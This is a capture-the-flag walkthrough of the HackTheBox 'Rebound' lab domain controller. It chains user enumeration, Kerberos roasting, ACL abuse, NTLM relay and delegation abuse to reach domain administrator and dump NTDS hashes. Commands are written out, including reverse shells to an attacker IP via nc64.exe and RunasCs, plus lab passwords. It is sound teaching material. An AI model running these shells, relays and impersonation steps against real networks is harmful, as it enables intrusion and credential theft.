13 KiB
HackTheBox - Rebound
NMAP
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-13 22:36:56Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
| Issuer: commonName=rebound-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-08-25T22:48:10
| Not valid after: 2024-08-24T22:48:10
| MD5: 6605cbaef659f555d80b7a18adfb6ce8
|_SHA-1: af8bec72779e7a0f41ad0302eff5a6ab22f01c74
|_ssl-date: 2023-09-13T22:38:03+00:00; +6h59m59s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-13T22:38:04+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
| Issuer: commonName=rebound-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-08-25T22:48:10
| Not valid after: 2024-08-24T22:48:10
| MD5: 6605cbaef659f555d80b7a18adfb6ce8
|_SHA-1: af8bec72779e7a0f41ad0302eff5a6ab22f01c74
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
| Issuer: commonName=rebound-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-08-25T22:48:10
| Not valid after: 2024-08-24T22:48:10
| MD5: 6605cbaef659f555d80b7a18adfb6ce8
|_SHA-1: af8bec72779e7a0f41ad0302eff5a6ab22f01c74
|_ssl-date: 2023-09-13T22:38:03+00:00; +7h00m00s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
| Issuer: commonName=rebound-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-08-25T22:48:10
| Not valid after: 2024-08-24T22:48:10
| MD5: 6605cbaef659f555d80b7a18adfb6ce8
|_SHA-1: af8bec72779e7a0f41ad0302eff5a6ab22f01c74
|_ssl-date: 2023-09-13T22:38:04+00:00; +6h59m59s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
First of all adding the DNS entries as some of the things won't work when it tries to reach DC
![](https://i.imgur.com/HaXgHv1.png)
Enumerating smb shares will null authentication, this shows us few shares, where Shared
might be of some interest
![](https://i.imgur.com/izqBmqk.png)
![](https://i.imgur.com/kmEtXJB.png)
Moving on to enumerating users, we can try using lookupsid.py
to retrieve usernames, so first trying with null authentication
![](https://i.imgur.com/5sjmFau.png)
This didn't work however we can try with guest
account to brute force the SIDs of the users
lookupsid.py guest@rebound.htb
![](https://i.imgur.com/bux7Fwp.png)
ppaul
llune
fflock
Having the usernames, AS-REP roasting can be performed to see if any of these accounts have pre-authentication disabled, GetNPUsers
from impacket can be used here which detects for AS-REP accounts
![](https://i.imgur.com/i5buwGE.png)
Here I got stuck for a while, not knowing what to do, check the options for lookupsid, we can specify the range for brute forcing SIDs, by default the value is 4000
lookupsid.py guest@rebound.htb 10000
This gives us some more user names
![](https://i.imgur.com/G0vMhd0.png)
GetNPUsers.py rebound.htb/uwu -usersfile users.txt -dc-ip rebound.htb
![](https://i.imgur.com/fuQf7Jz.png)
jjones
had no pre-authentication required so grabbing the hash
hashcat -a 0 -m 18200 jjones.txt /usr/share/wordlists/rockyou.txt --force
But this wasn't crackable with the rockyou wordlist
![](https://i.imgur.com/lzgkTLf.png)
We can however obtain service ticket for a SPN, performing kerberoasting through an account having no pre-authentication required
![](https://i.imgur.com/KBb8N3q.png)
Using this https://github.com/ShutdownRepo/impacket/tree/getuserspns-nopreauth version of impacket since it has the GetUsersSPNs
with no-preauth implementation
![](https://i.imgur.com/RphxxPT.png)
![](https://i.imgur.com/3zBSYrl.png)
![](https://i.imgur.com/HlGfkKd.png)
![](https://i.imgur.com/PyE9bsT.png)
To verify if this password isn't being used on multiple accounts we can try password spraying with either use crackmapexec or kerbrute also synchronizing time zone with the DC
![](https://i.imgur.com/1gdMafL.png)
![](https://i.imgur.com/WHzCvJM.png)
Enumerating the domain with python-bloodhound
python3 /opt/BloodHound.py/bloodhound.py -d 'rebound.htb' -u 'oorend' -p '1GR8t@$$4u' -c all -ns 10.10.11.231
![](https://i.imgur.com/9ymfgGt.png)
![](https://i.imgur.com/uWBzMJM.png)
But we can see ServiceMGMT
group has GenericAll
on Service Users
OU
![](https://i.imgur.com/skRCeqH.png)
Enumerating ACLs through powerview.py
but it requires kerberos authentication so first we'll need to request TGT of oorend user
![](https://i.imgur.com/pvMUqKI.png)
powerview --use-ldaps -k --no-pass --dc-ip 10.10.11.231 rebound.htb/oorend@dc01.rebound.htb
Enumerating the access controls on service mgmt group, oorend has Self
rights on the object
![](https://i.imgur.com/WSzILPK.png)
This means that we can make oorend as the group member of service mgmt
![](https://i.imgur.com/ellMfJx.png)
Using powerview.py we can add the group member
Add-DomainGroupMember -Identity ServiceMGMT -Members oorend
![](https://i.imgur.com/6B9dAbS.png)
Get-DomainGroup -Identity ServiceMGMT
![](https://i.imgur.com/E3BpYLL.png)
Now we have GenericAll on Service Users
OU and under this OU we have two domain users for which we can force change password
![](https://i.imgur.com/6jaaI6X.png)
We are only interested in changing the password of winrm_svc
user since we can get login into DC with this user, for this we need to grant control over to oorend
We again need to request the TGT of oorend after add him into ServiceMGMT group
Add-DomainObjectAcl -Rights 'ResetPassword' -TargetIdentity "Service Users" -PrincipalIdentity "oorend"
![](https://i.imgur.com/SziCdD3.png)
Logging in through rpcclient
we can change winrm_svc's users password ( the changes get reverted back so we need to do this quickly )
![](https://i.imgur.com/Jv5Yg8q.png)
The password for this user will also be reverted so we can instead request TGT and login through winrm
![](https://i.imgur.com/Bpyadn0.png)
evil-winrm -i dc01.rebound.htb -r REBOUND.HTB
![](https://i.imgur.com/RqwGyGN.png)
Now our next target is tbrady
since he can read GSMApassword of Delegator
machine account
![](https://i.imgur.com/44rHkxM.png)
Getting a shell through nc64.exe with RunasC.exe
to get a shell with netonly authentication
\RunasCs.exe winrm_svc 'P@assword@123' -d rebound.htb 'C:\Users\winrm_svc\Documents\nc64.exe 10.10.14.142 2222 -e cmd.exe' -l 9
![](https://i.imgur.com/zq25lTc.png)
![](https://i.imgur.com/ZN2Dv8d.png)
This is going to make possible for us to trigger an NTLM authentication of tbrady and capture the NTLMv2 challenge response through RemotePotato0
https://github.com/antonioCoco/RemotePotato0
We'll choose the second option which is Rpc capture (hash) server + potato trigger
.\RemotePotato0.exe -m 2 -r 10.10.14.142 -x 10.10.14.142 -p 9999 -s 1
On our machine we'll run socat and ntlmrealyx
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.11.231:9999 & sudo impacket-ntlmrelayx -t ldaps://10.10.11.231
![](https://i.imgur.com/OdpiUA3.png)
![](https://i.imgur.com/UOsDNWh.png)
Cracking this NTLMv2 challenge response, we'll get the password for tbrady
![](https://i.imgur.com/5K8Ilt5.png)
So now getting a shell as tbrady through RunasCS by redirecting stdin, stdout and stderr of the specified command to a remote host
RunasCs.exe tbrady 543BOMBOMBUNmanda cmd -r 10.10.14.142:2222
![](https://i.imgur.com/6YlbO3S.png)
![](https://i.imgur.com/rB58Oaf.png)
Transferring GMSAPasswordReader
![](https://i.imgur.com/rdSsFge.png)
GMSAPasswordReader.exe --AccountName delegator
![](https://i.imgur.com/6UKJIjL.png)
This can also be retrieved through bloodyAD
bloodyAD.py -u tbrady -d rebound.htb -p 543BOMBOMBUNmanda --host 10.10.11.231 get object 'delegator$' --attr msDS-ManagedPassword
![](https://i.imgur.com/Nud25dm.png)
Using StandIn
we can verify that delegator$ has constrained delegation set to http/dc01.rebound.htb
with protocol transition set to false
![](https://i.imgur.com/NLUovOK.png)
![](https://i.imgur.com/0f9G1XW.png)
To abuse this we need to first edit msDS-AllowedToActOnBehalfOfOtherIdentity
attribute on delegator$ to add any domain user that we control and request a ticket for browser SPN to impersonate as DC01$ then with http SPN we can impersonate as any domain user we want unless it's not in protected group
or not marked is sensitive and cannot be delegated
(this is very new to me I don't think I may have explained it correctly) so here's the resource which can help in understanding better about this scenario https://www.thehacker.recipes/a-d/movement/kerberos/delegations/constrained
![](https://i.imgur.com/pZiq0G0.png)
First requesting TGT of delegator$
![](https://i.imgur.com/Sb6eWLR.png)
With rbcd.py
we can try reading the value of msDS-AllowedToActOnBehalfOfOtherIdentity
impacket-rbcd 'rebound.htb/delegator$' -k -no-pass -delegate-to 'delegator$' -action read -use-ldaps -dc-ip 10.10.11.231
![](https://i.imgur.com/7m3MBSd.png)
We need to add ldap_monitor add in this property as this account has a SPN to dc01 ldapmonitor/dc01.rebound.htb
![](https://i.imgur.com/Zome3Xl.png)
impacket-rbcd 'rebound.htb/delegator$' -k -no-pass -delegate-to 'delegator$' -action write -delegate-from ldap_monitor -use-ldaps -dc-ip 10.10.11.231
![](https://i.imgur.com/BBPB7Fc.png)
Requesting this account's TGT and then impersonating as DC01$, reason being we can't impersonate as administrator as it's not allowed to be delegated
![](https://i.imgur.com/7LRmouM.png)
getST.py -spn "browser/dc01.rebound.htb" -impersonate "dc01$" "rebound.htb/ldap_monitor" -k -no-pass
![](https://i.imgur.com/c9rCgXR.png)
![](https://i.imgur.com/SlCIYEw.png)
getST.py -spn "http/dc01.rebound.htb" -impersonate "administrator" -additional-ticket "dc01\$.ccache" rebound.htb/'delegator$' -hashes :'CD903918320095660FF2E12072F5551C'
![](https://i.imgur.com/fvctFvZ.png)
Make sure now to have dc01.rebound.htb
in hosts file
![](https://i.imgur.com/hdgVTui.png)
With secretsdump NTDS file can now be dumped
![](https://i.imgur.com/bNZmMHQ.png)
![](https://i.imgur.com/l3z6FEy.png)
References
- https://www.thehacker.recipes/ad/movement/kerberos/kerberoast
e915faa15c
- https://www.semperis.com/blog/new-attack-paths-as-requested-sts/
- https://github.com/aniqfakhrul/powerview.py.git
- https://www.thehacker.recipes/a-d/movement/dacl
- http://www.selfadsi.org/deep-inside/ad-security-descriptors.htm
- http://www.pseale.com/pretend-youre-on-the-domain-with-runas-netonly
- https://github.com/antonioCoco/RemotePotato0
- https://github.com/rvazarkar/GMSAPasswordReader
- https://www.thehacker.recipes/a-d/movement/kerberos/delegations/constrained
- https://github.com/FuzzySecurity/StandIn